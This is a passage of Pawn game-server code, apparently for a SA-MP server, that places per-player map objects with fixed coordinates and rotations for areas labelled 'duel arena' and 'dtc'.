    if(from<=(67+250) && to>=(67+250)) PlayerObject[playerid][(67+250)] = CreatePlayerObject(playerid, 8661,168.67750549,-3519.94921875,325.72500610,0.00000000,0.00000000,0.00000000);
    if(from<=(68+250) && to>=(68+250)) PlayerObject[playerid][(68+250)] = CreatePlayerObject(playerid, 8661,210.00000000,-3519.94921875,304.00000000,0.00000000,14.99633789,0.00000000);
    if(from<=(69+250) && to>=(69+250)) PlayerObject[playerid][(69+250)] = CreatePlayerObject(playerid, 8661,207.00000000,-3519.94921875,307.00000000,0.00000000,29.99816895,0.00000000);
    if(from<=(70+250) && to>=(70+250)) PlayerObject[playerid][(70+250)] = CreatePlayerObject(playerid, 8661,210.00000000,-3519.94921875,302.25000000,0.00000000,7.50000000,0.00000000);
    if(from<=(71+250) && to>=(71+250)) PlayerObject[playerid][(71+250)] = CreatePlayerObject(playerid, 8661,205.50000000,-3519.94921875,307.00000000,0.00000000,44.99450684,0.00000000);
    if(from<=(72+250) && to>=(72+250)) PlayerObject[playerid][(72+250)] = CreatePlayerObject(playerid, 8661,201.00000000,-3519.94921875,310.00000000,0.00000000,51.99829102,0.00000000);
    if(from<=(73+250) && to>=(73+250)) PlayerObject[playerid][(73+250)] = CreatePlayerObject(playerid, 1632,333.12597656,-3519.38769531,301.30010986,15.00000000,0.00000000,270.00000000);
    if(from<=(74+250) && to>=(74+250)) PlayerObject[playerid][(74+250)] = CreatePlayerObject(playerid, 8661,421.00000000,-3519.94921875,300.06250000,0.00000000,0.00000000,0.00000000);
    if(from<=(75+250) && to>=(75+250)) PlayerObject[playerid][(75+250)] = CreatePlayerObject(playerid, 8661,421.00000000,-3520.03247070,300.06250000,0.00000000,179.99450684,0.00000000);
    if(from<=(76+250) && to>=(76+250)) PlayerObject[playerid][(76+250)] = CreatePlayerObject(playerid, 4563,411.00000000,-3529.00000000,254.00000000,180.00000000,90.00000000,0.00000000);
    if(from<=(77+250) && to>=(77+250)) PlayerObject[playerid][(77+250)] = CreatePlayerObject(playerid, 4563,360.00000000,-3619.00000000,343.00000000,179.99450684,90.00000000,0.00000000);
    if(from<=(78+250) && to>=(78+250)) PlayerObject[playerid][(78+250)] = CreatePlayerObject(playerid, 4563,125.82499695,-3573.00000000,310.00000000,90.00000000,90.00000000,0.00000000);
    if(from<=(79+250) && to>=(79+250)) PlayerObject[playerid][(79+250)] = CreatePlayerObject(playerid, 4563,125.79980469,-3479.95996094,310.00000000,269.99450684,90.00000000,0.00000000);
    if(from<=(80+250) && to>=(80+250)) PlayerObject[playerid][(80+250)] = CreatePlayerObject(playerid, 4563,125.84960938,-3559.79980469,310.00000000,90.00000000,90.00000000,0.00000000);
    if(from<=(81+250) && to>=(81+250)) PlayerObject[playerid][(81+250)] = CreatePlayerObject(playerid, 4563,119.00000000,-3559.79980469,310.00000000,90.00000000,90.00000000,270.00000000);
    if(from<=(82+250) && to>=(82+250)) PlayerObject[playerid][(82+250)] = CreatePlayerObject(playerid, 4563,125.80000305,-3475.22583008,360.00000000,270.00000000,90.00000000,0.00000000);
    if(from<=(83+250) && to>=(83+250)) PlayerObject[playerid][(83+250)] = CreatePlayerObject(playerid, 4563,125.00000000,-3522.30444336,369.50000000,0.00000000,90.00000000,0.00000000);
    if(from<=(84+250) && to>=(84+250)) PlayerObject[playerid][(84+250)] = CreatePlayerObject(playerid, 4563,270.25000000,-3519.00000000,369.95001221,270.00000000,90.00000000,90.00000000);
    if(from<=(85+250) && to>=(85+250)) PlayerObject[playerid][(85+250)] = CreatePlayerObject(playerid, 4563,444.00000000,-3441.00000000,310.00000000,179.99450684,90.00000000,179.99450684);
    if(from<=(86+250) && to>=(86+250)) PlayerObject[playerid][(86+250)] = CreatePlayerObject(playerid, 4563,360.00000000,-3619.05004883,310.00000000,179.99450684,90.00000000,0.00000000);
    if(from<=(87+250) && to>=(87+250)) PlayerObject[playerid][(87+250)] = CreatePlayerObject(playerid, 4563,543.95526123,-3597.22900391,310.00000000,90.00000000,90.00000000,90.00000000);
    if(from<=(88+250) && to>=(88+250)) PlayerObject[playerid][(88+250)] = CreatePlayerObject(playerid, 4563,529.88000488,-3743.47509766,310.00000000,90.00000000,90.00000000,90.00000000);
    if(from<=(89+250) && to>=(89+250)) PlayerObject[playerid][(89+250)] = CreatePlayerObject(playerid, 4563,529.87988281,-3743.47460938,343.00000000,90.00000000,90.00000000,90.00000000);
    if(from<=(90+250) && to>=(90+250)) PlayerObject[playerid][(90+250)] = CreatePlayerObject(playerid, 4563,544.00000000,-3597.22851562,343.00000000,90.00000000,90.00000000,90.00000000);
    if(from<=(91+250) && to>=(91+250)) PlayerObject[playerid][(91+250)] = CreatePlayerObject(playerid, 4563,353.38919067,-3481.96923828,392.04998779,0.00000000,90.00000000,0.00000000);
    if(from<=(92+250) && to>=(92+250)) PlayerObject[playerid][(92+250)] = CreatePlayerObject(playerid, 4563,353.38867188,-3533.00000000,392.00000000,0.00000000,90.00000000,0.00000000);
    if(from<=(93+250) && to>=(93+250)) PlayerObject[playerid][(93+250)] = CreatePlayerObject(playerid, 4563,353.38867188,-3584.00000000,392.04998779,0.00000000,90.00000000,0.00000000);
    if(from<=(94+250) && to>=(94+250)) PlayerObject[playerid][(94+250)] = CreatePlayerObject(playerid, 1259,500.29998779,-3535.16381836,307.57620239,0.00000000,0.00000000,180.00000000);
    if(from<=(95+250) && to>=(95+250)) PlayerObject[playerid][(95+250)] = CreatePlayerObject(playerid, 12956,354.98059082,-3583.05126953,303.35000029,0.00000000,0.00000000,0.00000000);
    if(from<=(96+250) && to>=(96+250)) PlayerObject[playerid][(96+250)] = CreatePlayerObject(playerid, 13590,441.44113159,-3561.33789062,301.25000121,0.00000000,0.00000000,270.00000000);
    if(from<=(97+250) && to>=(97+250)) PlayerObject[playerid][(97+250)] = CreatePlayerObject(playerid, 13604,479.19543457,-3531.58569336,301.70800781,0.00000000,0.00000000,90.00000000);
    if(from<=(98+250) && to>=(98+250)) PlayerObject[playerid][(98+250)] = CreatePlayerObject(playerid, 13641,411.24414062,-3484.88183594,300.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(99+250) && to>=(99+250)) PlayerObject[playerid][(99+250)] = CreatePlayerObject(playerid, 13648,367.64389038,-3473.44531250,300.00000000,0.00000000,0.00000000,90.00000000);
    if(from<=(100+250) && to>=(100+250)) PlayerObject[playerid][(100+250)] = CreatePlayerObject(playerid, 13592,349.45996094,-3483.35253906,309.92001343,0.00000000,0.00000000,0.00000000);
    if(from<=(101+250) && to>=(101+250)) PlayerObject[playerid][(101+250)] = CreatePlayerObject(playerid, 13592,325.11523438,-3497.19335938,309.92001343,0.00000000,0.00000000,0.00000000);
    if(from<=(102+250) && to>=(102+250)) PlayerObject[playerid][(102+250)] = CreatePlayerObject(playerid, 13592,336.90722656,-3490.21093750,309.92001343,0.00000000,0.00000000,0.00000000);
    if(from<=(103+250) && to>=(103+250)) PlayerObject[playerid][(103+250)] = CreatePlayerObject(playerid, 1634,305.40234375,-3499.43457031,301.29733276,0.00000000,0.00000000,90.00000000);
    if(from<=(104+250) && to>=(104+250)) PlayerObject[playerid][(104+250)] = CreatePlayerObject(playerid, 1634,300.29998779,-3499.43457031,308.00000000,45.00000000,0.00000000,90.00000000);
    if(from<=(105+250) && to>=(105+250)) PlayerObject[playerid][(105+250)] = CreatePlayerObject(playerid, 1634,302.50000000,-3499.43457031,304.00000000,24.99938965,0.00000000,90.00000000);
    if(from<=(106+250) && to>=(106+250)) PlayerObject[playerid][(106+250)] = CreatePlayerObject(playerid, 13641,465.00000000,-3484.88183594,300.00000000,0.00000000,0.00000000,180.00000000);
    if(from<=(107+250) && to>=(107+250)) PlayerObject[playerid][(107+250)] = CreatePlayerObject(playerid, 8661,400.00000000,-3510.12500000,290.04998779,270.00000000,0.00000000,179.99450684);
    if(from<=(108+250) && to>=(108+250)) PlayerObject[playerid][(108+250)] = CreatePlayerObject(playerid, 8661,354.00000000,-3520.00000000,285.64999390,350.00000000,0.00000000,270.00000000);
    if(from<=(109+250) && to>=(109+250)) PlayerObject[playerid][(109+250)] = CreatePlayerObject(playerid, 8661,342.34960938,-3520.00000000,290.04998779,284.99633789,0.00000000,270.00000000);
    if(from<=(110+250) && to>=(110+250)) PlayerObject[playerid][(110+250)] = CreatePlayerObject(playerid, 8661,344.00000000,-3520.00000000,290.04998779,301.99768066,0.00000000,270.00000000);
    if(from<=(111+250) && to>=(111+250)) PlayerObject[playerid][(111+250)] = CreatePlayerObject(playerid, 8661,344.59960938,-3520.00000000,290.04998779,314.99450684,0.00000000,270.00000000);
    if(from<=(112+250) && to>=(112+250)) PlayerObject[playerid][(112+250)] = CreatePlayerObject(playerid, 8661,346.29980469,-3520.00000000,289.00000000,324.99755859,0.00000000,270.00000000);
    if(from<=(113+250) && to>=(113+250)) PlayerObject[playerid][(113+250)] = CreatePlayerObject(playerid, 8661,350.00000000,-3520.00000000,287.20001221,339.99938965,0.00000000,270.00000000);
    if(from<=(114+250) && to>=(114+250)) PlayerObject[playerid][(114+250)] = CreatePlayerObject(playerid, 3077,488.99938965,-3502.44921875,324.18072510,0.00000000,0.00000000,90.00000000);
    if(from<=(115+250) && to>=(115+250)) PlayerObject[playerid][(115+250)] = CreatePlayerObject(playerid, 1245,387.49703979,-3527.28002930,285.51077271,0.00000000,0.00000000,0.00000000);
    if(from<=(116+250) && to>=(116+250)) PlayerObject[playerid][(116+250)] = CreatePlayerObject(playerid, 9766,292.00000000,-3472.50000000,331.77578735,356.00000000,0.00000000,90.00000000);
    if(from<=(117+250) && to>=(117+250)) PlayerObject[playerid][(117+250)] = CreatePlayerObject(playerid, 6052,307.88375854,-3499.93603516,333.41500854,0.00000000,0.00000000,100.00000000);
    if(from<=(118+250) && to>=(118+250)) PlayerObject[playerid][(118+250)] = CreatePlayerObject(playerid, 1655,316.64999390,-3494.08251953,335.89999390,288.00000000,0.00000000,94.00000000);
    if(from<=(119+250) && to>=(119+250)) PlayerObject[playerid][(119+250)] = CreatePlayerObject(playerid, 1655,316.44757080,-3502.02636719,335.89999390,287.99560547,0.00000000,81.99902344);
    if(from<=(120+250) && to>=(120+250)) PlayerObject[playerid][(120+250)] = CreatePlayerObject(playerid, 1655,315.48159790,-3505.85961914,335.89999390,287.99011230,0.00000000,59.99645996);
    if(from<=(121+250) && to>=(121+250)) PlayerObject[playerid][(121+250)] = CreatePlayerObject(playerid, 1655,315.97610474,-3503.76635742,335.89999390,287.99011230,0.00000000,73.99633789);
    if(from<=(122+250) && to>=(122+250)) PlayerObject[playerid][(122+250)] = CreatePlayerObject(playerid, 1655,310.18585205,-3511.06665039,335.20001221,287.99011230,0.00000000,35.99291992);
    if(from<=(123+250) && to>=(123+250)) PlayerObject[playerid][(123+250)] = CreatePlayerObject(playerid, 1655,306.42974854,-3512.47314453,334.00000000,287.99011230,0.00000000,19.99121094);
    if(from<=(124+250) && to>=(124+250)) PlayerObject[playerid][(124+250)] = CreatePlayerObject(playerid, 1655,300.16705322,-3512.81909180,333.00000000,287.99011230,0.00000000,359.98657227);
    if(from<=(125+250) && to>=(125+250)) PlayerObject[playerid][(125+250)] = CreatePlayerObject(playerid, 9766,373.41616821,-3493.65454102,338.79998779,341.00000000,0.00000000,40.00000000);
    if(from<=(126+250) && to>=(126+250)) PlayerObject[playerid][(126+250)] = CreatePlayerObject(playerid, 9766,439.67422485,-3570.92602539,333.79998779,18.00000000,0.00000000,39.99572754);
    if(from<=(127+250) && to>=(127+250)) PlayerObject[playerid][(127+250)] = CreatePlayerObject(playerid, 2931,331.76431274,-3472.61254883,331.45468140,0.00000000,0.00000000,270.00000000);
    if(from<=(128+250) && to>=(128+250)) PlayerObject[playerid][(128+250)] = CreatePlayerObject(playerid, 3077,356.37683105,-3472.33959961,331.45953369,0.00000000,0.00000000,314.00000000);
    if(from<=(129+250) && to>=(129+250)) PlayerObject[playerid][(129+250)] = CreatePlayerObject(playerid, 2931,396.03036499,-3521.86450195,346.97198486,0.00000000,0.00000000,220.00000000);
    if(from<=(130+250) && to>=(130+250)) PlayerObject[playerid][(130+250)] = CreatePlayerObject(playerid, 2931,396.82998657,-3521.26000977,347.00000000,0.00000000,0.00000000,219.99572754);
    if(from<=(131+250) && to>=(131+250)) PlayerObject[playerid][(131+250)] = CreatePlayerObject(playerid, 1634,435.16891479,-3565.40014648,339.00000000,0.00000000,338.00000000,221.99975586);
    if(from<=(132+250) && to>=(132+250)) PlayerObject[playerid][(132+250)] = CreatePlayerObject(playerid, 1634,435.57855225,-3564.98950195,339.00000000,0.00000000,330.00000000,249.99523926);
    if(from<=(133+250) && to>=(133+250)) PlayerObject[playerid][(133+250)] = CreatePlayerObject(playerid, 1634,438.04003906,-3565.03222656,340.00000000,0.00000000,320.00000000,267.99389648);
    if(from<=(134+250) && to>=(134+250)) PlayerObject[playerid][(134+250)] = CreatePlayerObject(playerid, 13592,392.93984985,-3509.76806641,309.67001343,0.00000000,0.00000000,0.00000000);
    if(from<=(135+250) && to>=(135+250)) PlayerObject[playerid][(135+250)] = CreatePlayerObject(playerid, 13592,392.00000000,-3516.00000000,309.67001343,0.00000000,0.00000000,0.00000000);
    if(from<=(136+250) && to>=(136+250)) PlayerObject[playerid][(136+250)] = CreatePlayerObject(playerid, 13592,390.89700317,-3523.38500977,309.67001343,0.00000000,0.00000000,0.00000000);
    if(from<=(137+250) && to>=(137+250)) PlayerObject[playerid][(137+250)] = CreatePlayerObject(playerid, 13592,389.79501343,-3530.75000000,309.67001343,0.00000000,0.00000000,0.00000000);
    // duel arena
    if(from<=(0+388) && to>=(0+388)) PlayerObject[playerid][(0+388)] = CreatePlayerObject(playerid, 4563,678.25927734,-3440.32861328,20.00000000,180.00000000,90.00000000,0.00000000);
    if(from<=(1+388) && to>=(1+388)) PlayerObject[playerid][(1+388)] = CreatePlayerObject(playerid, 4563,682.23107910,-3435.96972656,25.39999962,179.99450684,90.00000000,90.00000000);
    if(from<=(2+388) && to>=(2+388)) PlayerObject[playerid][(2+388)] = CreatePlayerObject(playerid, 4563,791.89599609,-3396.30810547,25.39999962,179.99450684,90.00000000,270.00000000);
    if(from<=(3+388) && to>=(3+388)) PlayerObject[playerid][(3+388)] = CreatePlayerObject(playerid, 4563,740.72851562,-3390.69384766,25.40999985,179.99450684,90.00000000,0.00000000);
    if(from<=(4+388) && to>=(4+388)) PlayerObject[playerid][(4+388)] = CreatePlayerObject(playerid, 4563,742.37670898,-3498.27124023,25.40999985,179.99450684,90.00000000,179.99450684);
    if(from<=(5+388) && to>=(5+388)) PlayerObject[playerid][(5+388)] = CreatePlayerObject(playerid, 4563,741.72406006,-3423.48120117,100.00000000,315.00000000,0.00000000,180.00000000);
    if(from<=(6+388) && to>=(6+388)) PlayerObject[playerid][(6+388)] = CreatePlayerObject(playerid, 4563,714.85253906,-3439.36328125,100.00000000,315.00000000,0.00000000,270.00000000);
    if(from<=(7+388) && to>=(7+388)) PlayerObject[playerid][(7+388)] = CreatePlayerObject(playerid, 4563,758.06402588,-3450.60009766,100.00000000,314.99450684,0.00000000,90.00000000);
    if(from<=(8+388) && to>=(8+388)) PlayerObject[playerid][(8+388)] = CreatePlayerObject(playerid, 4563,732.00000000,-3464.39355469,100.00000000,314.99450684,0.00000000,0.00000000);
    if(from<=(9+388) && to>=(9+388)) PlayerObject[playerid][(9+388)] = CreatePlayerObject(playerid, 354,733.05511475,-3465.74169922,56.43574905,0.00000000,0.00000000,0.00000000);
    if(from<=(10+388) && to>=(10+388)) PlayerObject[playerid][(10+388)] = CreatePlayerObject(playerid, 354,724.52148438,-3442.35351562,67.45057678,0.00000000,0.00000000,0.00000000);
    if(from<=(11+388) && to>=(11+388)) PlayerObject[playerid][(11+388)] = CreatePlayerObject(playerid, 354,741.83026123,-3427.32910156,61.63152313,0.00000000,0.00000000,0.00000000);
    if(from<=(12+388) && to>=(12+388)) PlayerObject[playerid][(12+388)] = CreatePlayerObject(playerid, 354,744.58544922,-3449.30053711,71.25891113,0.00000000,0.00000000,0.00000000);
    if(from<=(13+388) && to>=(13+388)) PlayerObject[playerid][(13+388)] = CreatePlayerObject(playerid, 354,735.37731934,-3439.19335938,73.49427795,0.00000000,0.00000000,0.00000000);
    if(from<=(14+388) && to>=(14+388)) PlayerObject[playerid][(14+388)] = CreatePlayerObject(playerid, 354,751.67370605,-3444.90185547,64.17199707,0.00000000,0.00000000,0.00000000);
    if(from<=(15+388) && to>=(15+388)) PlayerObject[playerid][(15+388)] = CreatePlayerObject(playerid, 354,756.13610840,-3433.93041992,59.71041107,0.00000000,0.00000000,0.00000000);
    if(from<=(16+388) && to>=(16+388)) PlayerObject[playerid][(16+388)] = CreatePlayerObject(playerid, 354,731.92297363,-3457.57910156,64.59676361,0.00000000,0.00000000,0.00000000);
    if(from<=(17+388) && to>=(17+388)) PlayerObject[playerid][(17+388)] = CreatePlayerObject(playerid, 354,724.09027100,-3433.73730469,67.01943970,0.00000000,0.00000000,0.00000000);
    if(from<=(18+388) && to>=(18+388)) PlayerObject[playerid][(18+388)] = CreatePlayerObject(playerid, 354,744.52856445,-3435.92797852,70.22871399,0.00000000,0.00000000,0.00000000);
    if(from<=(19+388) && to>=(19+388)) PlayerObject[playerid][(19+388)] = CreatePlayerObject(playerid, 354,734.87982178,-3450.72167969,71.45273590,0.00000000,0.00000000,0.00000000);
    if(from<=(20+388) && to>=(20+388)) PlayerObject[playerid][(20+388)] = CreatePlayerObject(playerid, 354,757.43658447,-3459.83544922,58.41019058,0.00000000,0.00000000,0.00000000);
    if(from<=(21+388) && to>=(21+388)) PlayerObject[playerid][(21+388)] = CreatePlayerObject(playerid, 354,743.58654785,-3456.40429688,65.77139282,0.00000000,0.00000000,0.00000000);
    if(from<=(22+388) && to>=(22+388)) PlayerObject[playerid][(22+388)] = CreatePlayerObject(playerid, 354,719.06719971,-3453.41992188,61.99732590,0.00000000,0.00000000,0.00000000);
    if(from<=(23+388) && to>=(23+388)) PlayerObject[playerid][(23+388)] = CreatePlayerObject(playerid, 354,719.04943848,-3439.94824219,61.97956848,0.00000000,0.00000000,0.00000000);
    //dtc
    if(from<=(0+412) && to>=(0+412)) PlayerObject[playerid][0+412] = CreatePlayerObject(playerid, 8171,1184.75000000,-3836.86499023,100.00000000,0.00000000,0.00000000,273.99902344);
    if(from<=(1+412) && to>=(1+412)) PlayerObject[playerid][1+412] = CreatePlayerObject(playerid, 8171,1322.56848145,-3827.22412109,100.00000000,0.00000000,0.00000000,273.99353027);
    if(from<=(2+412) && to>=(2+412)) PlayerObject[playerid][2+412] = CreatePlayerObject(playerid, 8343,1066.06005859,-3821.06787109,99.99800110,0.00000000,0.00000000,93.99902344);
    if(from<=(3+412) && to>=(3+412)) PlayerObject[playerid][3+412] = CreatePlayerObject(playerid, 8171,1073.28295898,-3665.66333008,100.01000214,0.00000000,0.00000000,343.99902344);
    if(from<=(4+412) && to>=(4+412)) PlayerObject[playerid][4+412] = CreatePlayerObject(playerid, 8343,1122.01318359,-3583.18408203,100.02050018,0.00000000,0.00000000,343.99902344);
    if(from<=(5+412) && to>=(5+412)) PlayerObject[playerid][5+412] = CreatePlayerObject(playerid, 8344,1149.73925781,-3618.99121094,100.01000214,0.00000000,0.00000000,131.99523926);
    if(from<=(6+412) && to>=(6+412)) PlayerObject[playerid][6+412] = CreatePlayerObject(playerid, 8343,1123.42578125,-3722.19921875,99.99749756,0.00000000,0.00000000,59.99633789);
    if(from<=(7+412) && to>=(7+412)) PlayerObject[playerid][7+412] = CreatePlayerObject(playerid, 8171,1057.21191406,-3722.21679688,100.01999664,0.00000000,0.00000000,343.99291992);
    if(from<=(8+412) && to>=(8+412)) PlayerObject[playerid][8+412] = CreatePlayerObject(playerid, 8343,1193.64001465,-3749.28857422,99.99400330,0.00000000,0.00000000,169.99633789);
    if(from<=(9+412) && to>=(9+412)) PlayerObject[playerid][9+412] = CreatePlayerObject(playerid, 8171,1237.61035156,-3638.35449219,100.01000214,0.00000000,0.00000000,349.99694824);
    if(from<=(10+412) && to>=(10+412)) PlayerObject[playerid][10+412] = CreatePlayerObject(playerid, 8343,1410.09997559,-3792.88793945,99.99600220,0.00000000,0.00000000,183.99145508);
    if(from<=(11+412) && to>=(11+412)) PlayerObject[playerid][11+412] = CreatePlayerObject(playerid, 8344,1304.00000000,-3566.19921875,100.01000214,0.00000000,0.00000000,233.99230957);
    if(from<=(12+412) && to>=(12+412)) PlayerObject[playerid][12+412] = CreatePlayerObject(playerid, 8171,1349.29064941,-3569.25341797,99.99700165,0.00000000,0.00000000,53.99353027);
    if(from<=(13+412) && to>=(13+412)) PlayerObject[playerid][13+412] = CreatePlayerObject(playerid, 8344,1399.72277832,-3645.09594727,100.00279999,0.00000000,0.00000000,183.99230957);
    if(from<=(14+412) && to>=(14+412)) PlayerObject[playerid][14+412] = CreatePlayerObject(playerid, 8171,1430.54089355,-3739.31250000,99.98200226,0.00000000,0.00000000,183.99230957);
    if(from<=(15+412) && to>=(15+412)) PlayerObject[playerid][15+412] = CreatePlayerObject(playerid, (18647+random(5)),1065.23645020,-3763.10644531,100.15501404,0.00000000,0.00000000,0.00000000);
    if(from<=(16+412) && to>=(16+412)) PlayerObject[playerid][16+412] = CreatePlayerObject(playerid, (18647+random(5)),1178.12597656,-3817.99511719,100.13501740,0.00000000,0.00000000,0.00000000);
    if(from<=(17+412) && to>=(17+412)) PlayerObject[playerid][17+412] = CreatePlayerObject(playerid, (18647+random(5)),1157.50976562,-3819.39843750,100.13501740,0.00000000,0.00000000,0.00000000);
    if(from<=(18+412) && to>=(18+412)) PlayerObject[playerid][18+412] = CreatePlayerObject(playerid, (18647+random(5)),1124.37597656,-3821.41601562,100.13501740,0.00000000,0.00000000,0.00000000);
    if(from<=(19+412) && to>=(19+412)) PlayerObject[playerid][19+412] = CreatePlayerObject(playerid, (18647+random(5)),1082.97363281,-3824.88574219,100.13301849,0.00000000,0.00000000,0.00000000);
    if(from<=(20+412) && to>=(20+412)) PlayerObject[playerid][20+412] = CreatePlayerObject(playerid, (18647+random(5)),1061.84765625,-3818.17382812,100.13301849,0.00000000,0.00000000,0.00000000);
    if(from<=(21+412) && to>=(21+412)) PlayerObject[playerid][21+412] = CreatePlayerObject(playerid, (18647+random(5)),1056.12500000,-3797.13281250,100.13301849,0.00000000,0.00000000,0.00000000);
    if(from<=(22+412) && to>=(22+412)) PlayerObject[playerid][22+412] = CreatePlayerObject(playerid, (18647+random(5)),1088.84460449,-3681.13037109,100.15501404,0.00000000,0.00000000,0.00000000);
    if(from<=(23+412) && to>=(23+412)) PlayerObject[playerid][23+412] = CreatePlayerObject(playerid, (18647+random(5)),1077.61621094,-3720.23437500,100.15501404,0.00000000,0.00000000,0.00000000);
    if(from<=(24+412) && to>=(24+412)) PlayerObject[playerid][24+412] = CreatePlayerObject(playerid, (18647+random(5)),1135.86816406,-3578.20312500,100.15551758,0.00000000,0.00000000,0.00000000);
    if(from<=(25+412) && to>=(25+412)) PlayerObject[playerid][25+412] = CreatePlayerObject(playerid, (18647+random(5)),1101.27832031,-3638.15722656,100.14501953,0.00000000,0.00000000,0.00000000);
    if(from<=(26+412) && to>=(26+412)) PlayerObject[playerid][26+412] = CreatePlayerObject(playerid, (18647+random(5)),1114.03417969,-3594.33398438,100.15551758,0.00000000,0.00000000,0.00000000);
    if(from<=(27+412) && to>=(27+412)) PlayerObject[playerid][27+412] = CreatePlayerObject(playerid, (18647+random(5)),1156.75952148,-3619.27514648,100.14501953,0.00000000,0.00000000,0.00000000);
    if(from<=(28+412) && to>=(28+412)) PlayerObject[playerid][28+412] = CreatePlayerObject(playerid, (18647+random(5)),1160.70019531,-3595.13183594,100.15551758,0.00000000,0.00000000,0.00000000);
    if(from<=(29+412) && to>=(29+412)) PlayerObject[playerid][29+412] = CreatePlayerObject(playerid, (18647+random(5)),1140.62133789,-3634.65869141,100.14501953,0.00000000,0.00000000,0.00000000);
    if(from<=(30+412) && to>=(30+412)) PlayerObject[playerid][30+412] = CreatePlayerObject(playerid, (18647+random(5)),1085.74011230,-3719.51293945,100.13251495,0.00000000,0.00000000,0.00000000);
    if(from<=(31+412) && to>=(31+412)) PlayerObject[playerid][31+412] = CreatePlayerObject(playerid, (18647+random(5)),1105.90039062,-3667.35156250,100.13251495,0.00000000,0.00000000,0.00000000);
    if(from<=(32+412) && to>=(32+412)) PlayerObject[playerid][32+412] = CreatePlayerObject(playerid, (18647+random(5)),1091.64746094,-3685.31054688,100.13251495,0.00000000,0.00000000,0.00000000);
    if(from<=(33+412) && to>=(33+412)) PlayerObject[playerid][33+412] = CreatePlayerObject(playerid, (18647+random(5)),1103.86462402,-3756.34106445,100.13251495,0.00000000,0.00000000,0.00000000);
    if(from<=(34+412) && to>=(34+412)) PlayerObject[playerid][34+412] = CreatePlayerObject(playerid, (18647+random(5)),1140.78247070,-3781.70019531,100.13251495,0.00000000,0.00000000,0.00000000);
    if(from<=(35+412) && to>=(35+412)) PlayerObject[playerid][35+412] = CreatePlayerObject(playerid, (18647+random(5)),1183.84777832,-3791.74218750,100.12902069,0.00000000,0.00000000,0.00000000);
    if(from<=(36+412) && to>=(36+412)) PlayerObject[playerid][36+412] = CreatePlayerObject(playerid, (18647+random(5)),1262.36328125,-3594.98242188,100.13652039,0.00000000,0.00000000,0.00000000);
    if(from<=(37+412) && to>=(37+412)) PlayerObject[playerid][37+412] = CreatePlayerObject(playerid, (18647+random(5)),1226.34472656,-3766.26171875,100.12902069,0.00000000,0.00000000,0.00000000);
    if(from<=(38+412) && to>=(38+412)) PlayerObject[playerid][38+412] = CreatePlayerObject(playerid, (18647+random(5)),1239.62988281,-3735.95703125,100.12902069,0.00000000,0.00000000,0.00000000);
    if(from<=(39+412) && to>=(39+412)) PlayerObject[playerid][39+412] = CreatePlayerObject(playerid, (18647+random(5)),1245.24707031,-3704.25488281,100.13652039,0.00000000,0.00000000,0.00000000);
    if(from<=(40+412) && to>=(40+412)) PlayerObject[playerid][40+412] = CreatePlayerObject(playerid, (18647+random(5)),1251.44335938,-3664.71679688,100.13652039,0.00000000,0.00000000,0.00000000);
    if(from<=(41+412) && to>=(41+412)) PlayerObject[playerid][41+412] = CreatePlayerObject(playerid, (18647+random(5)),1256.44042969,-3632.43652344,100.13652039,0.00000000,0.00000000,0.00000000);
    if(from<=(42+412) && to>=(42+412)) PlayerObject[playerid][42+412] = CreatePlayerObject(playerid, (18647+random(5)),1270.98596191,-3567.19824219,100.14302063,0.00000000,0.00000000,0.00000000);
    if(from<=(43+412) && to>=(43+412)) PlayerObject[playerid][43+412] = CreatePlayerObject(playerid, (18647+random(5)),1312.46044922,-3565.11010742,100.14302063,0.00000000,0.00000000,0.00000000);
    if(from<=(44+412) && to>=(44+412)) PlayerObject[playerid][44+412] = CreatePlayerObject(playerid, (18647+random(5)),1291.63769531,-3556.80566406,100.14302063,0.00000000,0.00000000,0.00000000);
    if(from<=(45+412) && to>=(45+412)) PlayerObject[playerid][45+412] = CreatePlayerObject(playerid, (18647+random(5)),1335.95617676,-3582.40917969,100.14302063,0.00000000,0.00000000,0.00000000);
    if(from<=(46+412) && to>=(46+412)) PlayerObject[playerid][46+412] = CreatePlayerObject(playerid, (18647+random(5)),1356.89013672,-3598.12719727,100.14302063,0.00000000,0.00000000,0.00000000);
    if(from<=(47+412) && to>=(47+412)) PlayerObject[playerid][47+412] = CreatePlayerObject(playerid, (18647+random(5)),1380.11621094,-3614.58593750,100.13781738,0.00000000,0.00000000,0.00000000);
    if(from<=(48+412) && to>=(48+412)) PlayerObject[playerid][48+412] = CreatePlayerObject(playerid, (18647+random(5)),1406.71496582,-3649.99072266,100.13781738,0.00000000,0.00000000,0.00000000);
    if(from<=(49+412) && to>=(49+412)) PlayerObject[playerid][49+412] = CreatePlayerObject(playerid, (18647+random(5)),1398.85253906,-3628.87695312,100.13781738,0.00000000,0.00000000,0.00000000);
    if(from<=(50+412) && to>=(50+412)) PlayerObject[playerid][50+412] = CreatePlayerObject(playerid, (18647+random(5)),1408.55871582,-3677.62500000,100.13781738,0.00000000,0.00000000,0.00000000);
    if(from<=(51+412) && to>=(51+412)) PlayerObject[playerid][51+412] = CreatePlayerObject(playerid, (18647+random(5)),1411.60070801,-3721.69238281,100.11701965,0.00000000,0.00000000,0.00000000);
    if(from<=(52+412) && to>=(52+412)) PlayerObject[playerid][52+412] = CreatePlayerObject(playerid, (18647+random(5)),1413.92687988,-3751.90380859,100.13101959,0.00000000,0.00000000,0.00000000);
    if(from<=(53+412) && to>=(53+412)) PlayerObject[playerid][53+412] = CreatePlayerObject(playerid, (18647+random(5)),1413.99951172,-3783.98925781,100.13101959,0.00000000,0.00000000,0.00000000);
    if(from<=(54+412) && to>=(54+412)) PlayerObject[playerid][54+412] = CreatePlayerObject(playerid, (18647+random(5)),1399.52319336,-3801.37377930,100.13101959,0.00000000,0.00000000,0.00000000);
    if(from<=(55+412) && to>=(55+412)) PlayerObject[playerid][55+412] = CreatePlayerObject(playerid, (18647+random(5)),1296.28222656,-3810.87646484,100.13501740,0.00000000,0.00000000,0.00000000);
    if(from<=(56+412) && to>=(56+412)) PlayerObject[playerid][56+412] = CreatePlayerObject(playerid, (18647+random(5)),1363.23828125,-3805.59765625,100.13501740,0.00000000,0.00000000,0.00000000);
    if(from<=(57+412) && to>=(57+412)) PlayerObject[playerid][57+412] = CreatePlayerObject(playerid, (18647+random(5)),1327.94726562,-3808.34082031,100.13501740,0.00000000,0.00000000,0.00000000);
    if(from<=(58+412) && to>=(58+412)) PlayerObject[playerid][58+412] = CreatePlayerObject(playerid, (18647+random(5)),1230.80761719,-3815.13330078,100.13501740,0.00000000,0.00000000,0.00000000);
